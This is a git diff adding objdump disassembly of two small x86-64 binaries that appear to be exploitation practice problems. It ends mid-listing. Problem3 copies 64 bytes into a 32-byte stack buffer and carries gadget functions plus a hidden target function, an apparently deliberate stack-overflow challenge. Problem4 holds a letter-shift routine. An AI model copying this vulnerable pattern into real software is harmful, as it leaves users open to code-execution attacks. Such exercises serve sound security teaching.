a/code3.s b/code3.s new file mode 100644 index 0000000..6244a88 --- /dev/null +++ b/code3.s @@ -0,0 +1,390 @@ + +problem3: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000401000 <_init>: + 401000: f3 0f 1e fa endbr64 + 401004: 48 83 ec 08 sub $0x8,%rsp + 401008: 48 8b 05 71 24 00 00 mov 0x2471(%rip),%rax # 403480 <__gmon_start__@Base> + 40100f: 48 85 c0 test %rax,%rax + 401012: 74 02 je 401016 <_init+0x16> + 401014: ff d0 call *%rax + 401016: 48 83 c4 08 add $0x8,%rsp + 40101a: c3 ret + +Disassembly of section .plt: + +0000000000401020 <.plt>: + 401020: ff 35 6a 24 00 00 push 0x246a(%rip) # 403490 <_GLOBAL_OFFSET_TABLE_+0x8> + 401026: f2 ff 25 6b 24 00 00 bnd jmp *0x246b(%rip) # 403498 <_GLOBAL_OFFSET_TABLE_+0x10> + 40102d: 0f 1f 00 nopl (%rax) + 401030: f3 0f 1e fa endbr64 + 401034: 68 00 00 00 00 push $0x0 + 401039: f2 e9 e1 ff ff ff bnd jmp 401020 <_init+0x20> + 40103f: 90 nop + 401040: f3 0f 1e fa endbr64 + 401044: 68 01 00 00 00 push $0x1 + 401049: f2 e9 d1 ff ff ff bnd jmp 401020 <_init+0x20> + 40104f: 90 nop + 401050: f3 0f 1e fa endbr64 + 401054: 68 02 00 00 00 push $0x2 + 401059: f2 e9 c1 ff ff ff bnd jmp 401020 <_init+0x20> + 40105f: 90 nop + 401060: f3 0f 1e fa endbr64 + 401064: 68 03 00 00 00 push $0x3 + 401069: f2 e9 b1 ff ff ff bnd jmp 401020 <_init+0x20> + 40106f: 90 nop + 401070: f3 0f 1e fa endbr64 + 401074: 68 04 00 00 00 push $0x4 + 401079: f2 e9 a1 ff ff ff bnd jmp 401020 <_init+0x20> + 40107f: 90 nop + 401080: f3 0f 1e fa endbr64 + 401084: 68 05 00 00 00 push $0x5 + 401089: f2 e9 91 ff ff ff bnd jmp 401020 <_init+0x20> + 40108f: 90 nop + 401090: f3 0f 1e fa endbr64 + 401094: 68 06 00 00 00 push $0x6 + 401099: f2 e9 81 ff ff ff bnd jmp 401020 <_init+0x20> + 40109f: 90 nop + 4010a0: f3 0f 1e fa endbr64 + 4010a4: 68 07 00 00 00 push $0x7 + 4010a9: f2 e9 71 ff ff ff bnd jmp 401020 <_init+0x20> + 4010af: 90 nop + +Disassembly of section .plt.sec: + +00000000004010b0 : + 4010b0: f3 0f 1e fa endbr64 + 4010b4: f2 ff 25 e5 23 00 00 bnd jmp *0x23e5(%rip) # 4034a0 + 4010bb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +00000000004010c0 : + 4010c0: f3 0f 1e fa endbr64 + 4010c4: f2 ff 25 dd 23 00 00 bnd jmp *0x23dd(%rip) # 4034a8 + 4010cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +00000000004010d0 : + 4010d0: f3 0f 1e fa endbr64 + 4010d4: f2 ff 25 d5 23 00 00 bnd jmp *0x23d5(%rip) # 4034b0 + 4010db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +00000000004010e0 : + 4010e0: f3 0f 1e fa endbr64 + 4010e4: f2 ff 25 cd 23 00 00 bnd jmp *0x23cd(%rip) # 4034b8 + 4010eb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +00000000004010f0 : + 4010f0: f3 0f 1e fa endbr64 + 4010f4: f2 ff 25 c5 23 00 00 bnd jmp *0x23c5(%rip) # 4034c0 + 4010fb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +0000000000401100 : + 401100: f3 0f 1e fa endbr64 + 401104: f2 ff 25 bd 23 00 00 bnd jmp *0x23bd(%rip) # 4034c8 + 40110b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +0000000000401110 : + 401110: f3 0f 1e fa endbr64 + 401114: f2 ff 25 b5 23 00 00 bnd jmp *0x23b5(%rip) # 4034d0 + 40111b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +0000000000401120 : + 401120: f3 0f 1e fa endbr64 + 401124: f2 ff 25 ad 23 00 00 bnd jmp *0x23ad(%rip) # 4034d8 + 40112b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) + +Disassembly of section .text: + +0000000000401130 <_start>: + 401130: f3 0f 1e fa endbr64 + 401134: 31 ed xor %ebp,%ebp + 401136: 49 89 d1 mov %rdx,%r9 + 401139: 5e pop %rsi + 40113a: 48 89 e2 mov %rsp,%rdx + 40113d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp + 401141: 50 push %rax + 401142: 54 push %rsp + 401143: 45 31 c0 xor %r8d,%r8d + 401146: 31 c9 xor %ecx,%ecx + 401148: 48 c7 c7 a8 13 40 00 mov $0x4013a8,%rdi + 40114f: ff 15 23 23 00 00 call *0x2323(%rip) # 403478 <__libc_start_main@GLIBC_2.34> + 401155: f4 hlt + 401156: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) + 40115d: 00 00 00 + +0000000000401160 <_dl_relocate_static_pie>: + 401160: f3 0f 1e fa endbr64 + 401164: c3 ret + 401165: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) + 40116c: 00 00 00 + 40116f: 90 nop + +0000000000401170 : + 401170: b8 f0 34 40 00 mov $0x4034f0,%eax + 401175: 48 3d f0 34 40 00 cmp $0x4034f0,%rax + 40117b: 74 13 je 401190 + 40117d: b8 00 00 00 00 mov $0x0,%eax + 401182: 48 85 c0 test %rax,%rax + 401185: 74 09 je 401190 + 401187: bf f0 34 40 00 mov $0x4034f0,%edi + 40118c: ff e0 jmp *%rax + 40118e: 66 90 xchg %ax,%ax + 401190: c3 ret + 401191: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 401198: 00 00 00 00 + 40119c: 0f 1f 40 00 nopl 0x0(%rax) + +00000000004011a0 : + 4011a0: be f0 34 40 00 mov $0x4034f0,%esi + 4011a5: 48 81 ee f0 34 40 00 sub $0x4034f0,%rsi + 4011ac: 48 89 f0 mov %rsi,%rax + 4011af: 48 c1 ee 3f shr $0x3f,%rsi + 4011b3: 48 c1 f8 03 sar $0x3,%rax + 4011b7: 48 01 c6 add %rax,%rsi + 4011ba: 48 d1 fe sar $1,%rsi + 4011bd: 74 11 je 4011d0 + 4011bf: b8 00 00 00 00 mov $0x0,%eax + 4011c4: 48 85 c0 test %rax,%rax + 4011c7: 74 07 je 4011d0 + 4011c9: bf f0 34 40 00 mov $0x4034f0,%edi + 4011ce: ff e0 jmp *%rax + 4011d0: c3 ret + 4011d1: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 4011d8: 00 00 00 00 + 4011dc: 0f 1f 40 00 nopl 0x0(%rax) + +00000000004011e0 <__do_global_dtors_aux>: + 4011e0: f3 0f 1e fa endbr64 + 4011e4: 80 3d 1d 23 00 00 00 cmpb $0x0,0x231d(%rip) # 403508 + 4011eb: 75 13 jne 401200 <__do_global_dtors_aux+0x20> + 4011ed: 55 push %rbp + 4011ee: 48 89 e5 mov %rsp,%rbp + 4011f1: e8 7a ff ff ff call 401170 + 4011f6: c6 05 0b 23 00 00 01 movb $0x1,0x230b(%rip) # 403508 + 4011fd: 5d pop %rbp + 4011fe: c3 ret + 4011ff: 90 nop + 401200: c3 ret + 401201: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 401208: 00 00 00 00 + 40120c: 0f 1f 40 00 nopl 0x0(%rax) + +0000000000401210 : + 401210: f3 0f 1e fa endbr64 + 401214: eb 8a jmp 4011a0 + +0000000000401216 : + 401216: f3 0f 1e fa endbr64 + 40121a: 55 push %rbp + 40121b: 48 89 e5 mov %rsp,%rbp + 40121e: 48 83 ec 50 sub $0x50,%rsp + 401222: 89 7d bc mov %edi,-0x44(%rbp) + 401225: 83 7d bc 72 cmpl $0x72,-0x44(%rbp) + 401229: 75 57 jne 401282 + 40122b: 48 b8 59 6f 75 72 20 movabs $0x63756c2072756f59,%rax + 401232: 6c 75 63 + 401235: 48 ba 6b 79 20 6e 75 movabs $0x65626d756e20796b,%rdx + 40123c: 6d 62 65 + 40123f: 48 89 45 c0 mov %rax,-0x40(%rbp) + 401243: 48 89 55 c8 mov %rdx,-0x38(%rbp) + 401247: 48 b8 72 20 69 73 20 movabs $0x3431312073692072,%rax + 40124e: 31 31 34 + 401251: ba 00 00 00 00 mov $0x0,%edx + 401256: 48 89 45 d0 mov %rax,-0x30(%rbp) + 40125a: 48 89 55 d8 mov %rdx,-0x28(%rbp) + 40125e: 48 c7 45 e0 00 00 00 movq $0x0,-0x20(%rbp) + 401265: 00 + 401266: 48 c7 45 e8 00 00 00 movq $0x0,-0x18(%rbp) + 40126d: 00 + 40126e: 66 c7 45 f0 00 00 movw $0x0,-0x10(%rbp) + 401274: 48 8d 45 c0 lea -0x40(%rbp),%rax + 401278: 48 89 c7 mov %rax,%rdi + 40127b: e8 30 fe ff ff call 4010b0 + 401280: eb 4e jmp 4012d0 + 401282: 48 b8 45 72 72 6f 72 movabs $0x6e6120726f727245,%rax + 401289: 20 61 6e + 40128c: 48 ba 73 77 65 72 21 movabs $0x2172657773,%rdx + 401293: 00 00 00 + 401296: 48 89 45 c0 mov %rax,-0x40(%rbp) + 40129a: 48 89 55 c8 mov %rdx,-0x38(%rbp) + 40129e: 48 c7 45 d0 00 00 00 movq $0x0,-0x30(%rbp) + 4012a5: 00 + 4012a6: 48 c7 45 d8 00 00 00 movq $0x0,-0x28(%rbp) + 4012ad: 00 + 4012ae: 48 c7 45 e0 00 00 00 movq $0x0,-0x20(%rbp) + 4012b5: 00 + 4012b6: 48 c7 45 e8 00 00 00 movq $0x0,-0x18(%rbp) + 4012bd: 00 + 4012be: 66 c7 45 f0 00 00 movw $0x0,-0x10(%rbp) + 4012c4: 48 8d 45 c0 lea -0x40(%rbp),%rax + 4012c8: 48 89 c7 mov %rax,%rdi + 4012cb: e8 e0 fd ff ff call 4010b0 + 4012d0: bf 00 00 00 00 mov $0x0,%edi + 4012d5: e8 46 fe ff ff call 401120 + +00000000004012da : + 4012da: f3 0f 1e fa endbr64 + 4012de: 55 push %rbp + 4012df: 48 89 e5 mov %rsp,%rbp + 4012e2: 48 89 7d f8 mov %rdi,-0x8(%rbp) + 4012e6: 48 8b 45 f8 mov -0x8(%rbp),%rax + 4012ea: 48 89 c7 mov %rax,%rdi + 4012ed: c3 ret + 4012ee: 90 nop + 4012ef: 5d pop %rbp + 4012f0: c3 ret + +00000000004012f1 : + 4012f1: f3 0f 1e fa endbr64 + 4012f5: 55 push %rbp + 4012f6: 48 89 e5 mov %rsp,%rbp + 4012f9: 48 89 7d f8 mov %rdi,-0x8(%rbp) + 4012fd: 48 8b 45 f8 mov -0x8(%rbp),%rax + 401301: 48 89 c0 mov %rax,%rax + 401304: c3 ret + 401305: 90 nop + 401306: 5d pop %rbp + 401307: c3 ret + +0000000000401308 : + 401308: f3 0f 1e fa endbr64 + 40130c: 55 push %rbp + 40130d: 48 89 e5 mov %rsp,%rbp + 401310: 48 89 7d f8 mov %rdi,-0x8(%rbp) + 401314: 48 8b 45 f8 mov -0x8(%rbp),%rax + 401318: ff d0 call *%rax + 40131a: c3 ret + 40131b: 90 nop + 40131c: 5d pop %rbp + 40131d: c3 ret + +000000000040131e : + 40131e: f3 0f 1e fa endbr64 + 401322: 55 push %rbp + 401323: 48 89 e5 mov %rsp,%rbp + 401326: 48 89 7d f8 mov %rdi,-0x8(%rbp) + 40132a: 48 8b 45 f8 mov -0x8(%rbp),%rax + 40132e: ff e0 jmp *%rax + 401330: c3 ret + 401331: 90 nop + 401332: 5d pop %rbp + 401333: c3 ret + +0000000000401334 : + 401334: f3 0f 1e fa endbr64 + 401338: 55 push %rbp + 401339: 48 89 e5 mov %rsp,%rbp + 40133c: 48 8b 05 cd 21 00 00 mov 0x21cd(%rip),%rax # 403510 + 401343: 48 89 45 f8 mov %rax,-0x8(%rbp) + 401347: 48 83 45 f8 10 addq $0x10,-0x8(%rbp) + 40134c: 48 8b 45 f8 mov -0x8(%rbp),%rax + 401350: ff e0 jmp *%rax + 401352: 90 nop + 401353: 5d pop %rbp + 401354: c3 ret + +0000000000401355 : + 401355: f3 0f 1e fa endbr64 + 401359: 55 push %rbp + 40135a: 48 89 e5 mov %rsp,%rbp + 40135d: 48 83 ec 30 sub $0x30,%rsp + 401361: 48 89 7d d8 mov %rdi,-0x28(%rbp) + 401365: 48 89 e0 mov %rsp,%rax + 401368: 48 89 05 a1 21 00 00 mov %rax,0x21a1(%rip) # 403510 + 40136f: 48 8b 4d d8 mov -0x28(%rbp),%rcx + 401373: 48 8d 45 e0 lea -0x20(%rbp),%rax + 401377: ba 40 00 00 00 mov $0x40,%edx + 40137c: 48 89 ce mov %rcx,%rsi + 40137f: 48 89 c7 mov %rax,%rdi + 401382: e8 69 fd ff ff call 4010f0 + 401387: 48 8d 05 7a 0c 00 00 lea 0xc7a(%rip),%rax # 402008 <_IO_stdin_used+0x8> + 40138e: 48 89 c7 mov %rax,%rdi + 401391: e8 1a fd ff ff call 4010b0 + 401396: 48 8d 05 93 0c 00 00 lea 0xc93(%rip),%rax # 402030 <_IO_stdin_used+0x30> + 40139d: 48 89 c7 mov %rax,%rdi + 4013a0: e8 0b fd ff ff call 4010b0 + 4013a5: 90 nop + 4013a6: c9 leave + 4013a7: c3 ret + +00000000004013a8
: + 4013a8: f3 0f 1e fa endbr64 + 4013ac: 55 push %rbp + 4013ad: 48 89 e5 mov %rsp,%rbp + 4013b0: 48 81 ec 20 01 00 00 sub $0x120,%rsp + 4013b7: 89 bd ec fe ff ff mov %edi,-0x114(%rbp) + 4013bd: 48 89 b5 e0 fe ff ff mov %rsi,-0x120(%rbp) + 4013c4: 48 8d 05 93 0c 00 00 lea 0xc93(%rip),%rax # 40205e <_IO_stdin_used+0x5e> + 4013cb: 48 89 c7 mov %rax,%rdi + 4013ce: e8 dd fc ff ff call 4010b0 + 4013d3: 83 bd ec fe ff ff 02 cmpl $0x2,-0x114(%rbp) + 4013da: 74 32 je 40140e + 4013dc: 48 8b 85 e0 fe ff ff mov -0x120(%rbp),%rax + 4013e3: 48 8b 10 mov (%rax),%rdx + 4013e6: 48 8b 05 13 21 00 00 mov 0x2113(%rip),%rax # 403500 + 4013ed: 48 8d 0d 7b 0c 00 00 lea 0xc7b(%rip),%rcx # 40206f <_IO_stdin_used+0x6f> + 4013f4: 48 89 ce mov %rcx,%rsi + 4013f7: 48 89 c7 mov %rax,%rdi + 4013fa: b8 00 00 00 00 mov $0x0,%eax + 4013ff: e8 dc fc ff ff call 4010e0 + 401404: b8 01 00 00 00 mov $0x1,%eax + 401409: e9 d1 00 00 00 jmp 4014df + 40140e: 48 8b 85 e0 fe ff ff mov -0x120(%rbp),%rax + 401415: 48 83 c0 08 add $0x8,%rax + 401419: 48 8b 00 mov (%rax),%rax + 40141c: 48 8d 15 5e 0c 00 00 lea 0xc5e(%rip),%rdx # 402081 <_IO_stdin_used+0x81> + 401423: 48 89 d6 mov %rdx,%rsi + 401426: 48 89 c7 mov %rax,%rdi + 401429: e8 d2 fc ff ff call 401100 + 40142e: 48 89 45 f8 mov %rax,-0x8(%rbp) + 401432: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) + 401437: 75 19 jne 401452 + 401439: 48 8d 05 43 0c 00 00 lea 0xc43(%rip),%rax # 402083 <_IO_stdin_used+0x83> + 401440: 48 89 c7 mov %rax,%rdi + 401443: e8 c8 fc ff ff call 401110 + 401448: b8 01 00 00 00 mov $0x1,%eax + 40144d: e9 8d 00 00 00 jmp 4014df + 401452: 48 8b 55 f8 mov -0x8(%rbp),%rdx + 401456: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax + 40145d: 48 89 d1 mov %rdx,%rcx + 401460: ba 00 01 00 00 mov $0x100,%edx + 401465: be 01 00 00 00 mov $0x1,%esi + 40146a: 48 89 c7 mov %rax,%rdi + 40146d: e8 4e fc ff ff call 4010c0 + 401472: 48 89 45 f0 mov %rax,-0x10(%rbp) + 401476: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp) + 40147b: 75 22 jne 40149f + 40147d: 48 8d 05 05 0c 00 00 lea 0xc05(%rip),%rax # 402089 <_IO_stdin_used+0x89> + 401484: 48 89 c7 mov %rax,%rdi + 401487: e8 84 fc ff ff call 401110 + 40148c: 48 8b 45 f8 mov -0x8(%rbp),%rax + 401490: 48 89 c7 mov %rax,%rdi + 401493: e8 38 fc ff ff call 4010d0 + 401498: b8 01 00 00 00 mov $0x1,%eax + 40149d: eb 40 jmp 4014df + 40149f: 48 8d 95 f0 fe ff ff lea -0x110(%rbp),%rdx + 4014a6: 48 8b 45 f0 mov -0x10(%rbp),%rax + 4014aa: 48 01 d0 add %rdx,%rax + 4014ad: c6 00 00 movb $0x0,(%rax) + 4014b0: 48 8b 45 f8 mov -0x8(%rbp),%rax + 4014b4: 48 89 c7 mov %rax,%rdi + 4014b7: e8 14 fc ff ff call 4010d0 + 4014bc: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax + 4014c3: 48 89 c7 mov %rax,%rdi + 4014c6: e8 8a fe ff ff call 401355 + 4014cb: 48 8d 05 bd 0b 00 00 lea 0xbbd(%rip),%rax # 40208f <_IO_stdin_used+0x8f> + 4014d2: 48 89 c7 mov %rax,%rdi + 4014d5: e8 d6 fb ff ff call 4010b0 + 4014da: b8 00 00 00 00 mov $0x0,%eax + 4014df: c9 leave + 4014e0: c3 ret + +Disassembly of section .fini: + +00000000004014e4 <_fini>: + 4014e4: f3 0f 1e fa endbr64 + 4014e8: 48 83 ec 08 sub $0x8,%rsp + 4014ec: 48 83 c4 08 add $0x8,%rsp + 4014f0: c3 ret diff --git a/code4.s b/code4.s new file mode 100644 index 0000000..9a53d3f --- /dev/null +++ b/code4.s @@ -0,0 +1,417 @@ + +problem4: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000001000 <_init>: + 1000: f3 0f 1e fa endbr64 + 1004: 48 83 ec 08 sub $0x8,%rsp + 1008: 48 8b 05 d9 2f 00 00 mov 0x2fd9(%rip),%rax # 3fe8 <__gmon_start__@Base> + 100f: 48 85 c0 test %rax,%rax + 1012: 74 02 je 1016 <_init+0x16> + 1014: ff d0 call *%rax + 1016: 48 83 c4 08 add $0x8,%rsp + 101a: c3 ret + +Disassembly of section .plt: + +0000000000001020 <.plt>: + 1020: ff 35 6a 2f 00 00 push 0x2f6a(%rip) # 3f90 <_GLOBAL_OFFSET_TABLE_+0x8> + 1026: ff 25 6c 2f 00 00 jmp *0x2f6c(%rip) # 3f98 <_GLOBAL_OFFSET_TABLE_+0x10> + 102c: 0f 1f 40 00 nopl 0x0(%rax) + 1030: f3 0f 1e fa endbr64 + 1034: 68 00 00 00 00 push $0x0 + 1039: e9 e2 ff ff ff jmp 1020 <_init+0x20> + 103e: 66 90 xchg %ax,%ax + 1040: f3 0f 1e fa endbr64 + 1044: 68 01 00 00 00 push $0x1 + 1049: e9 d2 ff ff ff jmp 1020 <_init+0x20> + 104e: 66 90 xchg %ax,%ax + 1050: f3 0f 1e fa endbr64 + 1054: 68 02 00 00 00 push $0x2 + 1059: e9 c2 ff ff ff jmp 1020 <_init+0x20> + 105e: 66 90 xchg %ax,%ax + 1060: f3 0f 1e fa endbr64 + 1064: 68 03 00 00 00 push $0x3 + 1069: e9 b2 ff ff ff jmp 1020 <_init+0x20> + 106e: 66 90 xchg %ax,%ax + 1070: f3 0f 1e fa endbr64 + 1074: 68 04 00 00 00 push $0x4 + 1079: e9 a2 ff ff ff jmp 1020 <_init+0x20> + 107e: 66 90 xchg %ax,%ax + 1080: f3 0f 1e fa endbr64 + 1084: 68 05 00 00 00 push $0x5 + 1089: e9 92 ff ff ff jmp 1020 <_init+0x20> + 108e: 66 90 xchg %ax,%ax + 1090: f3 0f 1e fa endbr64 + 1094: 68 06 00 00 00 push $0x6 + 1099: e9 82 ff ff ff jmp 1020 <_init+0x20> + 109e: 66 90 xchg %ax,%ax + +Disassembly of section .plt.got: + +00000000000010a0 <__cxa_finalize@plt>: + 10a0: f3 0f 1e fa endbr64 + 10a4: ff 25 4e 2f 00 00 jmp *0x2f4e(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5> + 10aa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +Disassembly of section .plt.sec: + +00000000000010b0 : + 10b0: f3 0f 1e fa endbr64 + 10b4: ff 25 e6 2e 00 00 jmp *0x2ee6(%rip) # 3fa0 + 10ba: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000000010c0 : + 10c0: f3 0f 1e fa endbr64 + 10c4: ff 25 de 2e 00 00 jmp *0x2ede(%rip) # 3fa8 + 10ca: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000000010d0 <__stack_chk_fail@plt>: + 10d0: f3 0f 1e fa endbr64 + 10d4: ff 25 d6 2e 00 00 jmp *0x2ed6(%rip) # 3fb0 <__stack_chk_fail@GLIBC_2.4> + 10da: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000000010e0 : + 10e0: f3 0f 1e fa endbr64 + 10e4: ff 25 ce 2e 00 00 jmp *0x2ece(%rip) # 3fb8 + 10ea: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000000010f0 <__isoc99_scanf@plt>: + 10f0: f3 0f 1e fa endbr64 + 10f4: ff 25 c6 2e 00 00 jmp *0x2ec6(%rip) # 3fc0 <__isoc99_scanf@GLIBC_2.7> + 10fa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000001100 : + 1100: f3 0f 1e fa endbr64 + 1104: ff 25 be 2e 00 00 jmp *0x2ebe(%rip) # 3fc8 + 110a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000001110 <__ctype_b_loc@plt>: + 1110: f3 0f 1e fa endbr64 + 1114: ff 25 b6 2e 00 00 jmp *0x2eb6(%rip) # 3fd0 <__ctype_b_loc@GLIBC_2.3> + 111a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +Disassembly of section .text: + +0000000000001120 <_start>: + 1120: f3 0f 1e fa endbr64 + 1124: 31 ed xor %ebp,%ebp + 1126: 49 89 d1 mov %rdx,%r9 + 1129: 5e pop %rsi + 112a: 48 89 e2 mov %rsp,%rdx + 112d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp + 1131: 50 push %rax + 1132: 54 push %rsp + 1133: 45 31 c0 xor %r8d,%r8d + 1136: 31 c9 xor %ecx,%ecx + 1138: 48 8d 3d e1 02 00 00 lea 0x2e1(%rip),%rdi # 1420
+ 113f: ff 15 93 2e 00 00 call *0x2e93(%rip) # 3fd8 <__libc_start_main@GLIBC_2.34> + 1145: f4 hlt + 1146: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) + 114d: 00 00 00 + +0000000000001150 : + 1150: 48 8d 3d b9 2e 00 00 lea 0x2eb9(%rip),%rdi # 4010 <__TMC_END__> + 1157: 48 8d 05 b2 2e 00 00 lea 0x2eb2(%rip),%rax # 4010 <__TMC_END__> + 115e: 48 39 f8 cmp %rdi,%rax + 1161: 74 15 je 1178 + 1163: 48 8b 05 76 2e 00 00 mov 0x2e76(%rip),%rax # 3fe0 <_ITM_deregisterTMCloneTable@Base> + 116a: 48 85 c0 test %rax,%rax + 116d: 74 09 je 1178 + 116f: ff e0 jmp *%rax + 1171: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) + 1178: c3 ret + 1179: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) + +0000000000001180 : + 1180: 48 8d 3d 89 2e 00 00 lea 0x2e89(%rip),%rdi # 4010 <__TMC_END__> + 1187: 48 8d 35 82 2e 00 00 lea 0x2e82(%rip),%rsi # 4010 <__TMC_END__> + 118e: 48 29 fe sub %rdi,%rsi + 1191: 48 89 f0 mov %rsi,%rax + 1194: 48 c1 ee 3f shr $0x3f,%rsi + 1198: 48 c1 f8 03 sar $0x3,%rax + 119c: 48 01 c6 add %rax,%rsi + 119f: 48 d1 fe sar $1,%rsi + 11a2: 74 14 je 11b8 + 11a4: 48 8b 05 45 2e 00 00 mov 0x2e45(%rip),%rax # 3ff0 <_ITM_registerTMCloneTable@Base> + 11ab: 48 85 c0 test %rax,%rax + 11ae: 74 08 je 11b8 + 11b0: ff e0 jmp *%rax + 11b2: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + 11b8: c3 ret + 11b9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) + +00000000000011c0 <__do_global_dtors_aux>: + 11c0: f3 0f 1e fa endbr64 + 11c4: 80 3d 45 2e 00 00 00 cmpb $0x0,0x2e45(%rip) # 4010 <__TMC_END__> + 11cb: 75 2b jne 11f8 <__do_global_dtors_aux+0x38> + 11cd: 55 push %rbp + 11ce: 48 83 3d 22 2e 00 00 cmpq $0x0,0x2e22(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5> + 11d5: 00 + 11d6: 48 89 e5 mov %rsp,%rbp + 11d9: 74 0c je 11e7 <__do_global_dtors_aux+0x27> + 11db: 48 8b 3d 26 2e 00 00 mov 0x2e26(%rip),%rdi # 4008 <__dso_handle> + 11e2: e8 b9 fe ff ff call 10a0 <__cxa_finalize@plt> + 11e7: e8 64 ff ff ff call 1150 + 11ec: c6 05 1d 2e 00 00 01 movb $0x1,0x2e1d(%rip) # 4010 <__TMC_END__> + 11f3: 5d pop %rbp + 11f4: c3 ret + 11f5: 0f 1f 00 nopl (%rax) + 11f8: c3 ret + 11f9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) + +0000000000001200 : + 1200: f3 0f 1e fa endbr64 + 1204: e9 77 ff ff ff jmp 1180 + +0000000000001209 : + 1209: f3 0f 1e fa endbr64 + 120d: 55 push %rbp + 120e: 48 89 e5 mov %rsp,%rbp + 1211: 48 83 ec 30 sub $0x30,%rsp + 1215: 48 89 7d d8 mov %rdi,-0x28(%rbp) + 1219: 89 75 d4 mov %esi,-0x2c(%rbp) + 121c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax + 1223: 00 00 + 1225: 48 89 45 f8 mov %rax,-0x8(%rbp) + 1229: 31 c0 xor %eax,%eax + 122b: 48 8b 45 d8 mov -0x28(%rbp),%rax + 122f: 48 89 c7 mov %rax,%rdi + 1232: e8 89 fe ff ff call 10c0 + 1237: 89 45 f4 mov %eax,-0xc(%rbp) + 123a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%rbp) + 1241: e9 b3 00 00 00 jmp 12f9 + 1246: 8b 45 f0 mov -0x10(%rbp),%eax + 1249: 48 63 d0 movslq %eax,%rdx + 124c: 48 8b 45 d8 mov -0x28(%rbp),%rax + 1250: 48 01 d0 add %rdx,%rax + 1253: 0f b6 00 movzbl (%rax),%eax + 1256: 88 45 ee mov %al,-0x12(%rbp) + 1259: e8 b2 fe ff ff call 1110 <__ctype_b_loc@plt> + 125e: 48 8b 00 mov (%rax),%rax + 1261: 48 0f be 55 ee movsbq -0x12(%rbp),%rdx + 1266: 48 01 d2 add %rdx,%rdx + 1269: 48 01 d0 add %rdx,%rax + 126c: 0f b7 00 movzwl (%rax),%eax + 126f: 0f b7 c0 movzwl %ax,%eax + 1272: 25 00 04 00 00 and $0x400,%eax + 1277: 85 c0 test %eax,%eax + 1279: 74 7a je 12f5 + 127b: e8 90 fe ff ff call 1110 <__ctype_b_loc@plt> + 1280: 48 8b 00 mov (%rax),%rax + 1283: 48 0f be 55 ee movsbq -0x12(%rbp),%rdx + 1288: 48 01 d2 add %rdx,%rdx + 128b: 48 01 d0 add %rdx,%rax + 128e: 0f b7 00 movzwl (%rax),%eax + 1291: 0f b7 c0 movzwl %ax,%eax + 1294: 25 00 02 00 00 and $0x200,%eax + 1299: 85 c0 test %eax,%eax + 129b: 74 07 je 12a4 + 129d: b8 61 00 00 00 mov $0x61,%eax + 12a2: eb 05 jmp 12a9 + 12a4: b8 41 00 00 00 mov $0x41,%eax + 12a9: 88 45 ef mov %al,-0x11(%rbp) + 12ac: 0f be 55 ee movsbl -0x12(%rbp),%edx + 12b0: 0f be 45 ef movsbl -0x11(%rbp),%eax + 12b4: 29 c2 sub %eax,%edx + 12b6: 89 d0 mov %edx,%eax + 12b8: 2b 45 d4 sub -0x2c(%rbp),%eax + 12bb: 83 c0 1a add $0x1a,%eax + 12be: 48 63 d0 movslq %eax,%rdx + 12c1: 48 69 d2 4f ec c4 4e imul $0x4ec4ec4f,%rdx,%rdx + 12c8: 48 c1 ea 20 shr $0x20,%rdx + 12cc: c1 fa 03 sar $0x3,%edx + 12cf: 89 c1 mov %eax,%ecx + 12d1: c1 f9 1f sar $0x1f,%ecx + 12d4: 29 ca sub %ecx,%edx + 12d6: 6b ca 1a imul $0x1a,%edx,%ecx + 12d9: 29 c8 sub %ecx,%eax + 12db: 89 c2 mov %eax,%edx + 12dd: 0f b6 45 ef movzbl -0x11(%rbp),%eax + 12e1: 8d 0c 02 lea (%rdx,%rax,1),%ecx + 12e4: 8b 45 f0 mov -0x10(%rbp),%eax + 12e7: 48 63 d0 movslq %eax,%rdx + 12ea: 48 8b 45 d8 mov -0x28(%rbp),%rax + 12ee: 48 01 d0 add %rdx,%rax + 12f1: 89 ca mov %ecx,%edx + 12f3: 88 10 mov %dl,(%rax) + 12f5: 83 45 f0 01 addl $0x1,-0x10(%rbp) + 12f9: 8b 45 f0 mov -0x10(%rbp),%eax + 12fc: 3b 45 f4 cmp -0xc(%rbp),%eax + 12ff: 0f 8c 41 ff 